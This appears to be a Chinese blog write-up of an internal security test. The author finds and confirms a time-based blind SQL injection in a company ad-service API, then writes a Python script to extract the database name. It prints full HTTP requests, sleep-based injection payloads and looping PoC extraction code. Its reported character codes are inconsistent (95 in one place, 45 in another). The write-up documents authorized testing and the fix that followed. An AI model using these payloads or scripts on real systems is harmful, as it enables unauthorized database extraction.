从SQL注入延时盲注到get Database

上午一到公司,打开网页就发现一枚SQL注入,开始手工复现,确认漏洞,所以有了此文

一、漏洞发现

从SQL注入延时盲注到get Database 第1张

从SQL注入延时盲注到get Database 第2张

执行的SQL语句

SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)

完整Header信息

accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b114769682c5d
user-agent: Java/1.8.0_251
x-b3-parentspanid: 154c092e71e6195b1
x-b3-sampled: 0
x-b3-spanid: d30b93315df6a2b00
x-b3-traceid: 154c092e7e623195b1
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyxxJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
x-span-name: http:/api/ad/fieldIsExist

请求Body

HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c0921e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335d2f6a2b00
x-b3-traceid: 154c092e73e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyI12jogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-963b4-b14769682c5d

{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA97345B443D8B1E80AD12344BBA409", "platform": null}

响应包

HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: fe3ecf80f53a401bc9d2d91f4b00ad84d
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT

{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

二、Burp Repeater

将请求包丢入到Burp的Repeater进行重放测试

从SQL注入延时盲注到get Database 第3张

关键字openrasp所在的位置为可能存在注入的地方

尝试将openrasp字样删除 结果还是返回An unknown error occurred in the ad-center service

从SQL注入延时盲注到get Database 第4张

1、手工Fuzz确认漏洞

a后面跟上' —– 报错

此时的SQL语句大概为

SELECT COUNT(1) FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)

从SQL注入延时盲注到get Database 第5张

a后面跟上and 1=1-- —– 报错

SELECT COUNT(1) FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)

从SQL注入延时盲注到get Database 第6张

a修改为数字1 —– 成功

SELECT COUNT(1) FROM t_ad WHERE (1 = ? AND delete_flag = ? AND ad_id <> ?)

从SQL注入延时盲注到get Database 第7张

直接尝试select version() —— 成功

SELECT COUNT(1) FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)

从SQL注入延时盲注到get Database 第8张

返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)来进行判断

从SQL注入延时盲注到get Database 第9张

可以看到burp提示了3秒钟,尝试修改为5秒

从SQL注入延时盲注到get Database 第10张

确认存在SQL注入

Payload

select version() union select sleep(5)
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)

Payload Request

POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
Content-Length: 162

{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}

Payload Response(return time 3)

HTTP/1.1 200 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: 92950d5328554e1dbc5819f54fb976a7
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92

{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

三、Python Fuzz

1、获取数据库名长度

原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回

Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14

该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可

Payload

if (length(database())=14,sleep(5),0)

从SQL注入延时盲注到get Database 第11张

跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了

从SQL注入延时盲注到get Database 第12张

从SQL注入延时盲注到get Database 第13张

长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14

1-1、Payload Json

{
  "field": "if (length(database())=14,sleep(5),0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

1-2、Poc

def getDataBasesLengthSqlFuzz():
    for Count in range(1, 100):
        data = {
            "field": "if (length(database())={},sleep(5),0)".format(Count),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(result.json())
        print(json.dumps(data))
        print('=' * 100)

2、获取数据库名

原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名

ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1

Payload

if (ascii(substr(database(),{xxx},1))={xxx}, sleep(3), 0)

第一个字符 97

从SQL注入延时盲注到get Database 第14张

第二个字符 100

从SQL注入延时盲注到get Database 第15张

第三个字符 95

从SQL注入延时盲注到get Database 第16张

第四个字符 99

从SQL注入延时盲注到get Database 第17张

第五个字符 101

从SQL注入延时盲注到get Database 第18张

第六个字符 110

从SQL注入延时盲注到get Database 第19张

第七个字符 116

从SQL注入延时盲注到get Database 第20张

第八个字符 101

从SQL注入延时盲注到get Database 第21张

第九个字符 114

从SQL注入延时盲注到get Database 第22张

第十个字符 95

从SQL注入延时盲注到get Database 第23张

第十一个字符 100

从SQL注入延时盲注到get Database 第24张

第十二个字符 97

从SQL注入延时盲注到get Database 第25张

第十三个字符 116

从SQL注入延时盲注到get Database 第26张

第十四个字符 97

从SQL注入延时盲注到get Database 第27张

为了确认长度是否是14,再跑一次长度15

从SQL注入延时盲注到get Database 第28张

程序直接跑完了,并没有卡住,很显然,长度为14

ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97

转换为字符:a d - c e n t e r - d a t a

从SQL注入延时盲注到get Database 第29张

数据库名为:ad-center-data

Pyaload Json

{
  "field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

Poc

def getDataBaseNameSqlFuzz(length):
    for j in range(1, 128):
        data = {
            "field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(json.dumps(data))
        print(result.json())
        print('=' * 100)

四、结尾!

本想着继续跑表的,没想到测试环境突然更新,所以没有办法继续深入了

从SQL注入延时盲注到get Database 第30张

与开发沟通后才发现,这个字段改了,现在写死了,没办法了(边上的大佬说,你一个安全部门的没事去私聊人家开发,人家估计会想是不是有问题,你还问人家字段,那不是更离谱!)

从SQL注入延时盲注到get Database 第31张

然后领导带我去跟开发线下对线后发现,测试部门发了一个日志给他,日志里面全是我拼接的SQL语句(一种犯罪证据被人抓出来的感觉),然后开发就紧急马上就改了,好,至此,结束!